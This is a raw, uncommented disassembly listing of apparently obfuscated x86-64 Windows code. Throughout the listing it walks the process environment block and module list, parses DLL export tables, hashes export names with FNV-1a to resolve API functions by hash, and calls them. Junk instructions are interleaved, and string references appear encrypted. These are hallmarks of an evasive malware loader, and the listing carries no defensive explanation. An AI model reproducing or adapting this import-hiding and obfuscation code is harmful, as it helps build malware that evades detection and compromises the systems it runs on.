mov ecx, dword [rsi + 0x1c]
or al, r15b
rcl ah, 8
cwde
lea rcx, [rcx + r11]
movsxd rax, r14d
btr ax, 0x71
add ax, r10w
mov eax, dword [rcx + r8*4]
add rax, r11
xchg cx, cx
mov ecx, 0x5dc
jmp 0x140609887
call rax
mov rax, qword gs:[0x30]
adc r11w, 0x5a52
cmp bh, dh
mov rcx, qword [rax + 0x60]
sbb ax, dx
mov rax, qword [rcx + 0x18]
btr r14w, 0x6c
xor si, r9w
mov r14, qword [rax + 0x10]
movabs rsi, 0xf919c4347af37e6c
nop
bts di, cx
lahf
mov r11, qword [r14 + 0x30]
cdqe
movsxd rax, dword [r11 + 0x3c]
shld rdi, r9, 0x80
adc dil, spl
mov edi, dword [rax + r11 + 0x88]
add rdi, r11
clc
cmc
stc
cmp rdi, r11
jmp 0x1406098eb
je 0x1406099b2
mov r10d, r13d
movsx bx, r8b
movzx ebx, r11w
mov ebx, dword [rdi + 0x18]
jmp 0x140609908
test ebx, ebx
jmp 0x14060990f
je 0x1406099b2
mov r9d, dword [rdi + 0x20]
cbw
lea r9, [r9 + r11]
ror r8b, cl
sbb al, 0xd2
and r8, 0x419e4dee
nop dword [rax]
or r8d, eax
mov edx, dword [r9]
inc r8d
add rdx, r11
rcr r8d, cl
mov r8, r13
rcr al, 0x17
movzx eax, byte [rdx]
cmp rdx, 0x14306faf
test al, al
jmp 0x140609958
je 0x140609996
movsx ecx, al
bswap ax
cmc
xor rcx, r8
xor r8d, r15d
imul r8, rcx, 0x1000193
lea rdx, [rdx + 1]
cbw
movzx eax, byte [rdx]
test al, al
jmp 0x140609982
jne 0x14060995e
cmp r8, rsi
jmp 0x140609990
je 0x1406099ba
inc r10d
test r9w, dx
add r9, 4
test r11, r12
cmp r10d, ebx
jmp 0x1406099ac
jb 0x140609935
mov r14, qword [r14]
jmp 0x1406098c3
mov edx, r10d
cmc
inc r8b
mov ecx, dword [rdi + 0x24]
or r8d, ebp
sbb ah, dl
add rcx, r11
movzx r8d, word [rcx + rdx*2]
mov ecx, dword [rdi + 0x1c]
btr rax, 5
bts ax, r15w
lea rcx, [rcx + r11]
mov ax, 0x45cd
or ax, r9w
mov eax, dword [rcx + r8*4]
xchg ecx, ecx
lea rax, [rax + r11]
bsf rcx, rax
shl cl, cl
xor edx, edx
bswap ecx
lea rcx, [rdx - 1]
call rax
mov qword [0x420], r13
xor al, 0xf8
mov rax, qword [0x14002d318]
cmp r8b, 0xa9
test rax, rax
jmp 0x140609a21
jne 0x14061562a
mov rax, qword gs:[0x30]
dec r14w
movzx cx, ah
ror sil, 0x3c
mov rcx, qword [rax + 0x60]
xor r14b, 0x7a
shr r14b, cl
mov rax, qword [rcx + 0x18]
neg r14b
mov r14, qword [rax + 0x10]
movabs rdx, 0xcd55c8d2850de2a1
rcl esi, cl
bswap eax
mov sil, 0x2a
nop dword [rax + rax]
mov rbx, qword [r14 + 0x30]
shrd ax, bp, 0x8f
bswap eax
or rax, 0x4c641788
movsxd rax, dword [rbx + 0x3c]
movzx esi, cx
bsr si, r10w
rol sil, cl
mov esi, dword [rax + rbx + 0x88]
test r10b, 0x45
lea rsi, [rsi + rbx]
stc
cmp rsi, rbx
jmp 0x140609aa4
je 0x140609b4d
mov r11d, r13d
mov edi, dword [rsi + 0x18]
test edi, edi
jmp 0x140609ab7
je 0x140609b4d
mov r10d, dword [rsi + 0x20]
add r10, rbx
clc
nop dword [rax + rax]
mov r8d, dword [r10]
add r8, rbx
sal r9b, 0x9d
mov r9, r13
movzx eax, byte [r8]
test al, al
jmp 0x140609ae5
je 0x140609b2c
movsx ecx, al
xor rcx, r9
rcr r9b, 0x70
imul r9, rcx, 0x1000193
sal ah, cl
btr eax, 0xcf
shl rax, cl
lea r8, [r8 + 1]
rcl rax, 0xf0
movzx eax, byte [r8]
test al, al
jmp 0x140609b18
jne 0x140609aeb
cmp r9, rdx
jmp 0x140609b26
je 0x1406155d6
inc r11d
test spl, r14b
test r12b, 0x95
add r10, 4
clc
test r13w, r12w
cmp r11d, edi
jmp 0x140609b47
jb 0x140609acd
mov r14, qword [r14]
jmp 0x140609a6b
cmp byte [0x14002c99f], 0
jmp 0x140609b61
jne 0x140609c22
mov r8d, 0x14
movsxd rdx, r14d
mov byte [rsp + 0x20], 0xd
movsx rdx, sp
mov r9b, 0xf0
movsx ecx, r13w
lea rdx, [0x140027e90]
movsx ecx, ax
cmovg cx, sp
lea rcx, [rbp + 0x1b60]
jmp 0x140609b9a
call fcn.140023410
mov rbx, rax
stc
cmp al, 0x96
cmp byte [rax + 0x104], 0
jmp 0x140609bb1
je 0x140609bcb
mov rcx, rax
jmp 0x140609bbf
call fcn.1400237b0
mov byte [rbx + 0x104], 0
lea rdx, [rbx + 2]
movzx cx, dh
movsxd rcx, edi
cmovge cx, cx
mov rcx, qword [0x1400270b0]
call fcn.140023d50
mov rcx, rax
movzx edx, di
mov edx, edi
cdq
lea rdx, [0x140023f20]
jmp 0x140609bfb
call qword [0x140027090]
nop
sal cx, cl
bt r8d, r12d
xor edx, edx
mov r8d, 0x106
lea rcx, [rbp + 0x1b60]
jmp 0x140609c1d
call fcn.1400258e4
call fcn.1406007aa
test eax, eax
jmp 0x140609c2e
je 0x14060a0b4
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x60]
mov rax, qword [rcx + 0x18]
adc dil, 0xc3
xor edi, eax
mov r14, qword [rax + 0x10]
movabs rdi, 0x4690717567faad93
sbb ah, ah
nop word [rax + rax]
test bpl, 0xa3
rol r11w, cl
mov r11, qword [r14 + 0x30]
sub esi, ecx
test ax, r10w
movzx eax, r13w
movsxd rax, dword [r11 + 0x3c]
sub sil, 0xbb
mov esi, dword [rax + r11 + 0x88]
test r9, rsi
cmp r8w, 0x2b5e
lea rsi, [rsi + r11]
stc
cmc
cmp rsi, r11
jmp 0x140609c9e
je 0x140609d78
mov r10d, r13d
bsr bx, r15w
mov ebx, dword [rsi + 0x18]
test ebx, ebx
jmp 0x140609cb6
je 0x140609d78
mov r9d, dword [rsi + 0x20]
cbw
rol rdx, cl
btr ax, 0x20
add r9, r11
rcl rax, cl
sbb dl, r14b
nop dword [rax]
mov edx, dword [r9]
btr ax, 0xfc
add rdx, r11
mov r8, r13
bswap ax
movzx eax, byte [rdx]
jmp 0x140609cf7
test al, al
jmp 0x140609cfe
je 0x140609d4e
movsx ecx, al
cmp r12, r8
sbb ax, di
xor rcx, r8
movzx ax, dh
shr r8d, 0x8d
imul r8, rcx, 0x1000193
lea rdx, [rdx + 1]
clc
movsx rax, r13w
movzx eax, byte [rdx]
cmp r13, 0x50e3642a
clc
test al, al
jmp 0x140609d3a
jne 0x140609d04
cmp r8, rdi
jmp 0x140609d48
je 0x140609d80
inc r10d
jmp 0x140609d5a
add r9, 4
cmp r13b, 0xb9
test cl, bpl
jmp 0x140609d6a
cmp r10d, ebx
jmp 0x140609d72
jb 0x140609cda
mov r14, qword [r14]
jmp 0x140609c69
mov edx, r10d
btc ecx, edi
sub cl, 0x28
mov ecx, dword [rsi + 0x24]
setae al
add rcx, r11
adc r8w, r10w
movzx r8d, word [rcx + rdx*2]
mov ecx, dword [rsi + 0x1c]
test rbx, 0x36e70084
lea rcx, [rcx + r11]
shl rax, cl
mov eax, dword [rcx + r8*4]
add rax, r11
movzx cx, sil
not ch
movzx rcx, r13w
mov ecx, 0x5dc
jmp 0x140609dc8
call rax
mov rax, qword gs:[0x30]
test r8w, 0x1bbe
rcr r11w, cl
mov rcx, qword [rax + 0x60]
mov rax, qword [rcx + 0x18]
mov r14, qword [rax + 0x10]
rcl ax, cl
bt si, 0x33
movzx ax, r12b
movabs rsi, 0xf919c4347af37e6c
shrd r11, r14, 0x57
bt rdi, r13
cdqe
nop
mov r11, qword [r14 + 0x30]
bt di, di
adc dil, sil
sbb rax, r15
movsxd rax, dword [r11 + 0x3c]
stc
mov edi, dword [rax + r11 + 0x88]
test edx, 0x67de2ae9
add rdi, r11
cmp sil, 0x79
cmp rdi, r11
jmp 0x140609e3c
je 0x140609f04
mov r10d, r13d
movzx bx, dil
mov ebx, dword [rdi + 0x18]
test r15b, 0xb8
test ebx, ebx
jmp 0x140609e58
je 0x140609f04
mov r9d, dword [rdi + 0x20]
test r9w, r13w
lea r9, [r9 + r11]
nop dword [rax]
mov edx, dword [r9]
test r8b, 0xed
btr r8w, r12w
btc eax, 0x62
add rdx, r11
xchg r8b, al
btc eax, esi
mov r8, r13
adc al, 0x11
shrd eax, esi, 0xe7
rcr eax, 0x83
movzx eax, byte [rdx]
test r13b, 0x10
cmp r15d, eax
test al, al
jmp 0x140609ea7
je 0x140609ef0
movsx ecx, al
xor rcx, r8
cdqe
rcr r8w, 0xe6
movzx ax, al
imul r8, rcx, 0x1000193
lea rdx, [rdx + 1]
not rax
adc al, ch
bt eax, 0x83
movzx eax, byte [rdx]
test al, al
jmp 0x140609edc
jne 0x140609ead
cmp r8, rsi
jmp 0x140609eea
je 0x140609f11
inc r10d
cmp r15b, sil
cmc
add r9, 4
cmp r10d, ebx
jb 0x140609e71
mov r14, qword [r14]
jmp 0x140609f0c
jmp 0x140609e0c
mov edx, r10d
sar ecx, 0xc9
mov ecx, dword [rdi + 0x24]
add ax, r12w
adc r8b, bl
clc
lea rcx, [rcx + r11]
or r8d, r11d
shr al, cl
bsr rax, r9
movzx r8d, word [rcx + rdx*2]
mov ecx, dword [rdi + 0x1c]
bsf ax, dx
movzx eax, r14w
rcr rax, cl
lea rcx, [rcx + r11]
mov eax, dword [rcx + r8*4]
add rax, r11
xor edx, edx
movsxd rcx, r9d
movsx ecx, r11w
lea rcx, [rdx - 1]
jmp 0x140609f5f
call rax
mov qword [0x420], r13
mov ax, bp
test sil, 9
mov rax, qword [0x14002d318]
stc
test rax, rax
jne 0x14061562a
mov rax, qword gs:[0x30]
movzx esi, bp
mov rcx, qword [rax + 0x60]
mov dh, bh
mov rax, qword [rcx + 0x18]
mov r14, qword [rax + 0x10]
neg sil
shld bx, bp, 0x20
movsx dx, r13b
movabs rdx, 0xcd55c8d2850de2a1
adc bx, 0x35cf
cmc
nop dword [rax + rax]
mov rbx, qword [r14 + 0x30]
adc rsi, 0x75dd5183
xchg si, ax
movsxd rax, dword [rbx + 0x3c]
rol sil, cl
movzx si, cl
mov esi, dword [rax + rbx + 0x88]
add rsi, rbx
stc
test al, r8b
cmp rsi, rbx
jmp 0x140609fee
je 0x14060a0a7
mov r11d, r13d
mov edi, dword [rsi + 0x18]
clc
test r15b, r9b
cmp cl, r12b
test edi, edi
jmp 0x14060a008
je 0x14060a0a7
mov r10d, dword [rsi + 0x20]
add r10, rbx
movsxd r8, r11d
nop dword [rax + rax]
setle al
mov r8d, dword [r10]
add r8, rbx
cmp r12w, r15w
mov r9, r13
movzx eax, byte [r8]
stc
test al, al
jmp 0x14060a03c
je 0x14060a089
movsx ecx, al
sal al, cl
cmp ebp, 0x4be43643
xor rcx, r9
imul r9, rcx, 0x1000193
movzx rax, ax
rcr eax, cl
movsx ax, bpl
lea r8, [r8 + 1]
test sil, 0x5d
bts eax, r15d
movzx eax, byte [r8]
test r14w, 0x6c5
test al, al
jne 0x14060a042
cmp r9, rdx
je 0x1406155d6
inc r11d
cmp bh, 0x90
clc
jmp 0x14060a095
add r10, 4
cmc
stc
cmp sil, dil
cmp r11d, edi
jb 0x14060a023
mov r14, qword [r14]
jmp 0x14060a0af
jmp 0x140609fc0
mov r12d, 0xffffffbe
mov rcx, r15
bswap rcx
lea rcx, [0x14002c0e8]
jmp 0x14060a0cc
call fcn.140337f10
lea r15d, [r12 + 0x44]
test al, al
jmp 0x14060a0dd
je 0x14060b5c7
movabs rdi, 0x4690717567faad93
setns r8b
movzx dx, r14b
lea r14, [0x14002c9d0]
mov esi, dword [rsp + 0x30]
nop dword [rax + rax]
mov r8d, 3
not dx
mov byte [rsp + 0x20], 0xd
mov r9b, 0xa
lea rdx, [0x140027ec0]
movzx cx, dh
mov ecx, esp
lea rcx, [rbp + 0x1c70]
jmp 0x14060a133
call fcn.140023410
mov rbx, rax
clc
cmp byte [rax + 0x104], 0
jmp 0x14060a148
je 0x14060a166
mov rcx, rax
jmp 0x14060a156
call fcn.1400237b0
mov byte [rbx + 0x104], 0
mov cx, r9w
lea rcx, [rbx + 2]
jmp 0x14060a16f
call qword [0x1400271f0]
nop
and cl, 0x90
bt rcx, 0x74
xor edx, edx
mov r8d, 0x106
lea rcx, [rbp + 0x1c70]
jmp 0x14060a192
call fcn.1400258e4
nop
xchg cl, cl
movzx rcx, r8w
not cl
lea rcx, [rbp + 0x5980]
jmp 0x14060a1ac
call fcn.140024890
lea rcx, [rbp + 0x5980]
jmp 0x14060a1bd
call fcn.140023810
nop
cmp rbp, 0x6e470922
test r8b, spl
test dl, 0x23
cmp byte [0x14002c99f], 0
jmp 0x14060a1dc
jne 0x14060a26b
mov r8d, 0xb
mov byte [rsp + 0x20], 0xfc
mov dh, 0x58
mov r9b, 0xf8
not rdx
lea rdx, str.Hlehn_mh_
xchg cl, ch
lea rcx, [rbp + 0x1d80]
call fcn.140023410
mov rbx, rax
cmp r14b, r15b
cmp byte [rax + 0x104], 0
jmp 0x14060a21d
je 0x14060a23b
mov rcx, rax
jmp 0x14060a22b
call fcn.1400237b0
mov byte [rbx + 0x104], 0
cwd
xchg ch, dh
lea rdx, [rbx + 2]
movzx rcx, sp
movsx ecx, ax
mov rcx, qword [0x1400270b0]
jmp 0x14060a252
call fcn.140023d50
nop
not cl
lea rcx, [rbp + 0x1d80]
jmp 0x14060a266
jmp 0x14060a303
mov r8d, 0x1f
mov byte [rsp + 0x20], 0xf9
cwd
mov r9b, 0xfa
movsx cx, r8b
movzx rdx, sp
cmovge rdx, r15
lea rdx, str.Qnhexkmwp_
mov cx, 0x22f4
not rcx
lea rcx, [rbp + 0x1e90]
jmp 0x14060a2a2
call fcn.140023410
mov rbx, rax
cmp bh, 0x5d
cmp byte [rax + 0x104], 0
jmp 0x14060a2b9
je 0x14060a2d5
mov rcx, rax
call fcn.1400237b0
mov byte [rbx + 0x104], 0
movsx rcx, r15w
bswap rcx
lea rdx, [rbx + 2]
mov rcx, qword [0x1400270b0]
jmp 0x14060a2e5
call fcn.140023d50
nop
bsf cx, r11w
and r8b, r8b
cmc
lea rcx, [rbp + 0x1e90]
movsx r8d, r11w
rol r8d, 0xf0
mov r8d, 0x106
test edx, 0x750e2a0a
jmp 0x14060a318
sub edx, edx
jmp 0x14060a31f
call fcn.1400258e4
mov rbx, qword [0x1400270f8]
ror cx, 0x50
movzx ecx, bx
ror cx, cl
mov rax, qword [rbx]
sar ch, 0x1e
btr cx, 0x5a
movsxd rcx, dword [rax + 4]
or dl, sil
add rcx, rbx
not dl
jmp 0x14060a351
mov dl, 0xa
jmp 0x14060a358
call qword [0x1400270a8]
movzx r8d, al
bswap cx
cwd
movzx rcx, dx
lea rdx, [rbp + 0x5980]
mov cl, r15b
bswap ecx
jmp 0x14060a37c
mov rcx, rbx
call fcn.1400248d0
mov r8d, 3
mov byte [rsp + 0x20], 0xd
movzx cx, r15b
setnp dh
mov r9b, 0xa
cqo
movsx cx, r12b
lea rdx, [0x140027ec0]
movzx cx, r11b
cmovg cx, r10w
lea rcx, [rbp + 0x1fa0]
jmp 0x14060a3be
call fcn.140023410
mov rbx, rax
jmp 0x14060a3cb
cmp byte [rax + 0x104], 0
jmp 0x14060a3d7
je 0x14060a3f5
mov rcx, rax
call fcn.1400237b0
mov byte [rbx + 0x104], 0
not rcx
movsxd rcx, r14d
movzx ecx, sp
lea rcx, [rbx + 2]
jmp 0x14060a3fe
call qword [0x1400271f0]
nop
shr r8b, 0xfb
setl r8b
xor r8w, dx
xor edx, edx
bswap rcx
mov r8d, 0x106
lea rcx, [rbp + 0x1fa0]
call fcn.1400258e4
add r12d, 0x42
jmp 0x14060a432
cmp qword [rbp + 0x5990], 0x10
jne 0x14060b239
cmp r12d, 0xfffff31c
jmp 0x14060a44c
jle 0x14060b239
lea rax, [rsp + 0x40]
rol dx, cl
not cx
mov qword [rsp + 0x20], rax
mov r9, r15
sub r8d, r8d
lea rdx, [rbp + 0x5980]
movsx ecx, ax
lea rcx, [rbp + 0x59c0]
jmp 0x14060a47e
call fcn.140023a10
bts esi, 7
mov dword [rsp + 0x30], esi
jmp 0x14060a490
cmp byte [0x14002c99f], 0
jmp 0x14060a49c
je 0x14060a649
mov r8d, r15d
mov byte [rsp + 0x20], 0xf0
mov r9b, 0xf7
movzx dx, al
movsx edx, r11w
lea rdx, [0x140027f20]
movsx cx, dil
movzx cx, r12b
lea rcx, [rbp + 0x22d0]
jmp 0x14060a4d2
call fcn.140023410
mov rbx, rax
test r15b, dil
test sp, 0x1119
or esi, 1
stc
test eax, 0x101e2905
mov dword [rsp + 0x30], esi
cmp byte [rax + 0x104], 0
jmp 0x14060a4fb
je 0x14060a51a
mov rcx, rax
jmp 0x14060a509
call fcn.1400237b0
mov byte [rbx + 0x104], 0
movsx cx, r14b
lea rdx, [rbx + 2]
jmp 0x14060a526
lea rcx, [rbp + 0x200]
jmp 0x14060a532
call fcn.1400236a0
nop
movzx edx, r10w
rcr dx, 0xb8
test r14, 0x336b615a
or esi, 2
cmovnp cx, r15w
movsx rdx, r8w
mov dword [rsp + 0x30], esi
jmp 0x14060a560
mov rdx, rax
lea rcx, [rbp + 0x59c0]
jmp 0x14060a56f
call fcn.140024aa0
test al, al
jmp 0x14060a57b
jne 0x14060a637
mov r8d, r15d
movsxd rdx, r13d
xchg dl, dh
mov byte [rsp + 0x20], 0xfc
movzx ecx, r8w
mov r9b, 0xe
cdq
cmovo edx, eax
lea rdx, [0x140027f24]
movzx rcx, r15w
bswap cx
lea rcx, [rbp + 0x21c0]
jmp 0x14060a5b3
call fcn.140023410
mov rbx, rax
or esi, 4
mov dword [rsp + 0x30], esi
cmp byte [rax + 0x104], 0
je 0x14060a5ea
mov rcx, rax
jmp 0x14060a5d7
call fcn.1400237b0
mov byte [rbx + 0x104], 0
movzx ecx, r15w
not rcx
lea rdx, [rbx + 2]
movsx cx, dh
lea rcx, [rbp + 0x1e0]
call fcn.1400236a0
nop
bswap cx
or esi, 8
cmovg cx, r12w
cqo
mov dword [rsp + 0x30], esi
movsx edx, di
bswap rcx
mov rdx, rax
lea rcx, [rbp + 0x59c0]
jmp 0x14060a625
call fcn.140024aa0
test al, al
jmp 0x14060a631
je 0x14060a6fb
cmp byte [0x14002c99f], 0
jmp 0x14060a643
jne 0x14060a702
mov r8d, r15d
mov byte [rsp + 0x20], 0xfc
cwd
mov r9b, 0xe
cdq
movzx edx, si
not rdx
lea rdx, [0x140027f28]
cmovp ecx, ebx
lea rcx, [rbp + 0x20b0]
jmp 0x14060a673
call fcn.140023410
mov rbx, rax
test bpl, 0x85
cmc
or esi, 0x10
jmp 0x14060a688
mov dword [rsp + 0x30], esi
cmp ecx, edx
cmp byte [rax + 0x104], 0
jmp 0x14060a69a
je 0x14060a6b8
mov rcx, rax
jmp 0x14060a6a8
call fcn.1400237b0
mov byte [rbx + 0x104], 0
cmove dx, dx
lea rdx, [rbx + 2]
lea rcx, [rbp + 0x1c0]
call fcn.1400236a0
or esi, 0x20
mov dword [rsp + 0x30], esi
mov cl, spl
movsx cx, r8b
movzx ecx, bp
mov rdx, rax
lea rcx, [rbp + 0x59c0]
jmp 0x14060a6e9
call fcn.140024aa0
test al, al
jmp 0x14060a6f5
jne 0x14060a702
mov bl, 1
jmp 0x14060a70f
sub bl, bl
cmc
jmp 0x14060a70f
test sil, 0x20
jmp 0x14060a718
je 0x14060a744
and esi, 0xffffffdf
movzx cx, r15b
movsx cx, r14b
mov dword [rsp + 0x30], esi
not ch
lea rcx, [rbp + 0x1c0]
jmp 0x14060a73d
call fcn.140023640
nop
clc
test sil, 0x10
jmp 0x14060a74d
je 0x14060a795
and esi, 0xffffffef
movsx ecx, r13w
clc
mov dword [rsp + 0x30], esi
btc rcx, 0x35
xor edx, edx
bswap r8
not cx
movzx ecx, r14w
mov r8d, 0x106
cmovb cx, r14w
movzx cx, al
lea rcx, [rbp + 0x20b0]
jmp 0x14060a78b
call fcn.1400258e4
nop
cmp bpl, 0x58
test sil, 8
jmp 0x14060a79e
je 0x14060a7cc
and esi, 0xfffffff7
movzx cx, r11b
mov dword [rsp + 0x30], esi
xchg cl, cl
jmp 0x14060a7ba
lea rcx, [rbp + 0x1e0]
jmp 0x14060a7c6
call fcn.140023640
nop
test sil, 4
jmp 0x14060a7d5
je 0x14060a819
and esi, 0xfffffffb
bswap r8w
and r8b, 0x60
mov dword [rsp + 0x30], esi
jmp 0x14060a7ef
xor edx, edx
movsx r8, r14w
mov r8d, 0x106
lea rcx, [rbp + 0x21c0]
jmp 0x14060a807
call fcn.1400258e4
nop
stc
cmp r10w, bp
cmp r10, 0x58ff7d09
test sil, 2
jmp 0x14060a822
je 0x14060a84b
and esi, 0xfffffffd
cmovae cx, bp
movsxd rcx, r8d
mov ch, 0x2a
mov dword [rsp + 0x30], esi
lea rcx, [rbp + 0x200]
jmp 0x14060a845
call fcn.140023640
nop
test sil, 1
je 0x14060a887
and esi, 0xfffffffe
mov dword [rsp + 0x30], esi
sub edx, edx
cmovge cx, sp
mov cl, dil
mov r8d, 0x106
movzx rcx, dx
movsxd rcx, ebx
movsx rcx, bp
lea rcx, [rbp + 0x22d0]
jmp 0x14060a882
call fcn.1400258e4
test bl, bl
je 0x14060ac12
cmp byte [0x14002c99f], 0
jmp 0x14060a89b
jne 0x14060a94d
mov r8d, 0x15
movsxd rcx, ebx
mov r9b, 0x68
mov byte [rsp + 0x20], 0xf5
movsx rdx, di
jmp 0x14060a8bb
mov r9b, 0xc
lea rdx, str.rEv:d
cmovl cx, bp
jmp 0x14060a8ce
lea rcx, [rbp + 0x23e0]
call fcn.140023410
mov rbx, rax
cmp sil, r9b
cmp byte [rax + 0x104], 0
jmp 0x14060a8ec
je 0x14060a906
mov rcx, rax
jmp 0x14060a8fa
call fcn.1400237b0
mov byte [rbx + 0x104], 0
lea rdx, [rbx + 2]
movzx cx, bpl
mov rcx, qword [0x1400270b0]
jmp 0x14060a91b
call fcn.140023d50
mov rcx, rax
movzx rdx, sp
cqo
lea rdx, [0x140023f20]
jmp 0x14060a935
call qword [0x140027090]
nop
lea rcx, [rbp + 0x23e0]
jmp 0x14060a948
jmp 0x14060a9fa
mov r8d, 0xe
mov byte [rsp + 0x20], 5
cdq
mov cl, r14b
mov r9b, 3
lea rdx, str.__Jpyeqok_to
bswap cx
movzx rcx, r11w
lea rcx, [rbp + 0x24f0]
call fcn.140023410
mov rbx, rax
test dl, r8b
cmp byte [rax + 0x104], 0
jmp 0x14060a98b
je 0x14060a9ad
mov rcx, rax
jmp 0x14060a999
call fcn.1400237b0
mov byte [rbx + 0x104], 0
not ch
xchg rdx, rdx
setle dl
lea rdx, [rbx + 2]
movzx cx, r8b
movzx rcx, r9w
bswap cx
mov rcx, qword [0x1400270b0]
jmp 0x14060a9c9
call fcn.140023d50
mov rcx, rax
lea rdx, [0x140023f20]
jmp 0x14060a9dd
call qword [0x140027090]
nop
mov r8, 0xace73dc
bt cx, sp
setge r8b
lea rcx, [rbp + 0x24f0]
mov r8d, 0x106
stc
cmp r9b, al
sub edx, edx
jmp 0x14060aa0b
call fcn.1400258e4
mov rax, qword [0x14002d288]
test rax, rax
jmp 0x14060aa1f
jne 0x14060abed
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x60]
rol r14w, cl
sub r10w, si
clc
mov rax, qword [rcx + 0x18]
shr r14d, 0x1d
ror r14b, 1
movsxd r10, ebx
mov r15, qword [rax + 0x10]
nop dword [rax]
cmovp r14, rbx
nop word [rax + rax]
adc r14b, r8b
movzx r14d, r12w
jmp 0x14060aa6b
mov r10, qword [r15 + 0x30]
movsxd rax, dword [r10 + 0x3c]
rol r14w, cl
add r14b, dl
mov r14d, dword [rax + r10 + 0x88]
add r14, r10
jmp 0x14060aa8a
cmp r14, r10
jmp 0x14060aa92
je 0x14060ab60
mov r9d, r13d
bt bx, ax
mov ebx, dword [r14 + 0x18]
stc
cmp al, dil
test ebx, ebx
je 0x14060ab60
mov esi, dword [r14 + 0x20]
bts r8w, r10w
cwde
nop word [rax + rax]
mov r11d, r9d
neg ax
rdtsc
lea rax, [r10 + r11*4]
sbb r8w, r12w
shrd edx, r11d, 0x98
mov edx, dword [rax + rsi]
sbb r8w, r14w
adc r8d, 0x39fe75fb
add rdx, r10
btr r8w, 0x81
cmc
mov r8, r13
btr ax, 0x95
neg eax
movzx eax, byte [rdx]
clc
test al, al
jmp 0x14060ab04
je 0x14060ab4f
nop word [rax + rax]
cmp r13b, 0xcd
shr ch, 0x33
movsx ecx, al
xor rcx, r8
imul r8, rcx, 0x1000193
lea rdx, [rdx + 1]
movsx rax, cx
movzx eax, byte [rdx]
stc
cmc
jmp 0x14060ab39
test al, al
jne 0x14060ab1a
cmp r8, rdi
jmp 0x14060ab49
je 0x14060ab6d
inc r9d
cmp r9d, ebx
jmp 0x14060ab5a
jb 0x14060aac2
mov r15, qword [r15]
jmp 0x14060ab68
jmp 0x14060aa6b
mov ecx, dword [r14 + 0x1c]
neg r15b
movzx ax, r10b
add rcx, r10
sub sil, cl
xor al, bpl
mov eax, dword [r14 + 0x24]
movzx rsi, si
mov r14w, 0x705d
lea rax, [rax + r10]
bts rsi, r10
or r14w, 0x3df6
rol r14, 0x99
movzx eax, word [rax + r11*2]
cmove r15w, bx
and r15b, al
mov eax, dword [rcx + rax*4]
ror r15w, cl
rcl r14w, 0xd3
mov cx, 0x6037
add rax, r10
mov qword [0x14002d288], rax
movzx cx, dl
mov esi, dword [rsp + 0x30]
lea r14, [0x14002c9d0]
movsxd r15, esi
jmp 0x14060abdf
mov r15d, 2
mov cx, 0x4a36
movzx ecx, r15w
mov ecx, 0x5dc
jmp 0x14060abf7
call rax
nop
bswap ecx
cmovo cx, r9w
lea rcx, [rbp + 0x59c0]
call fcn.140023640
jmp 0x14060b598
mov qword [0x14002c9d0], 0
jmp 0x14060ac26
mov qword [0x14002c9d8], 0
movsx rbx, bp
movzx bx, bh
mov byte [0x14002c9e0], 0
mov rbx, qword [rbp + 0x5990]
jmp 0x14060ac4c
lea rcx, [rbp + 0x5980]
jmp 0x14060ac58
call fcn.140023a70
mov r9, rax
cmp ax, 0x3c9e
mov r8d, r13d
test rsp, rsi
stc
test rbx, rbx
jmp 0x14060ac73
je 0x14060acc6
mov rdx, r14
rcl ch, cl
dec rax
rcl ax, 0x52
sub r9, r14
nop word [rax + rax]
xchg ch, ch
dec rax
movzx ecx, byte [r9 + rdx]
movsxd rax, edx
cdqe
mov byte [rdx], cl
inc r8d
lea rdx, [rdx + 1]
btc rax, 0x6a
jmp 0x14060acb5
movsxd rax, r8d
cmp rax, rbx
jmp 0x14060acc0
jb 0x14060ac98
lea rax, [rsp + 0x41]
mov dx, 0x7bd2
jmp 0x14060acd4
mov qword [rsp + 0x20], rax
shl rdx, cl
bsr edx, r10d
mov r9d, 8
jmp 0x14060acef
sub r8d, r8d
lea rdx, [rbp + 0x5980]
lea rcx, [rbp + 0x59a0]
jmp 0x14060ad05
call fcn.140023a10
bts esi, 8
bswap rcx
mov dl, 0x1f
mov rcx, rdi
lea rcx, [rbp + 0x59a0]
call fcn.140023600
lea rax, [rsp + 0x42]
mov qword [rsp + 0x20], rax
mov rcx, rbp
movsx cx, sil
mov r9, 0xffffffffffffffff
movsxd rdx, edx
lea r8d, [r9 + 9]
lea rdx, [rbp + 0x5980]
not cx
lea rcx, [rbp - 0x70]
call fcn.140023a10
bts esi, 9
mov dword [rsp + 0x30], esi
lea rcx, [rbp - 0x70]
call fcn.140023a70
mov rdx, rax
bswap rcx
mov r8, qword [rbp - 0x60]
lea rcx, [rbp + 0x59a0]
jmp 0x14060ad7c
call fcn.140023990
nop
lea rcx, [rbp - 0x70]
call fcn.140023640
mov dl, 0x1f
cmova rcx, rbx
setge ch
lea rcx, [rbp + 0x59a0]
call fcn.140023600
mov qword [rbp + 0x5918], 0
jmp 0x14060adb7
mov qword [rbp + 0x5920], 0
cmovns rcx, r12
mov bl, r14b
movzx ecx, r9w
mov qword [rbp + 0x5928], 0
movzx bx, r8b
mov rbx, qword [rbp + 0x59b0]
lea rcx, [rbp + 0x59a0]
jmp 0x14060adf0
call fcn.140023a70
lea rcx, [rbp + 0x5918]
movzx rdx, si
setae r8b
mov qword [rsp + 0x20], rcx
movzx rdx, di
cdq
jmp 0x14060ae13
mov r9d, ebx
mov r8, rax
mov edx, 9
lea rcx, [0x14002c9f0]
call fcn.1405ee24d
test al, al
jmp 0x14060ae31
je 0x140614d57
cmp qword [rbp + 0x5928], 1
jmp 0x14060ae44
jne 0x14060ae5f
mov rax, qword [rbp + 0x5920]
cmp byte [rax], 0x30
jmp 0x14060ae59
je 0x14060b7b5
cmp byte [0x14002c99f], 0
jmp 0x14060ae6b
jne 0x14060aef7
mov r8d, 0x14
movzx dx, spl
mov cl, r14b
mov byte [rsp + 0x20], 0xe
mov r9b, 0xb
cmovp dx, dx
lea rdx, str.X_MqjmsmirvppG.4
lea rcx, [rbp + 0x2600]
jmp 0x14060ae9e
call fcn.140023410
mov rbx, rax
cmp byte [rax + 0x104], 0
je 0x14060aed0
mov rcx, rax
jmp 0x14060aebb
call fcn.1400237b0
mov byte [rbx + 0x104], 0
movsx ecx, r9w
cmovge dx, r14w
lea rcx, [rbx + 2]
mov dh, 0xeb
mov rdx, qword [rbp + 0x5920]
jmp 0x14060aee3
call fcn.140001040
nop
mov ch, dl
lea rcx, [rbp + 0x2600]
jmp 0x14060af93
mov r8d, 0x1e
cwd
cdq
movzx cx, al
mov byte [rsp + 0x20], 0xf2
cwd
mov r9b, 0xf0
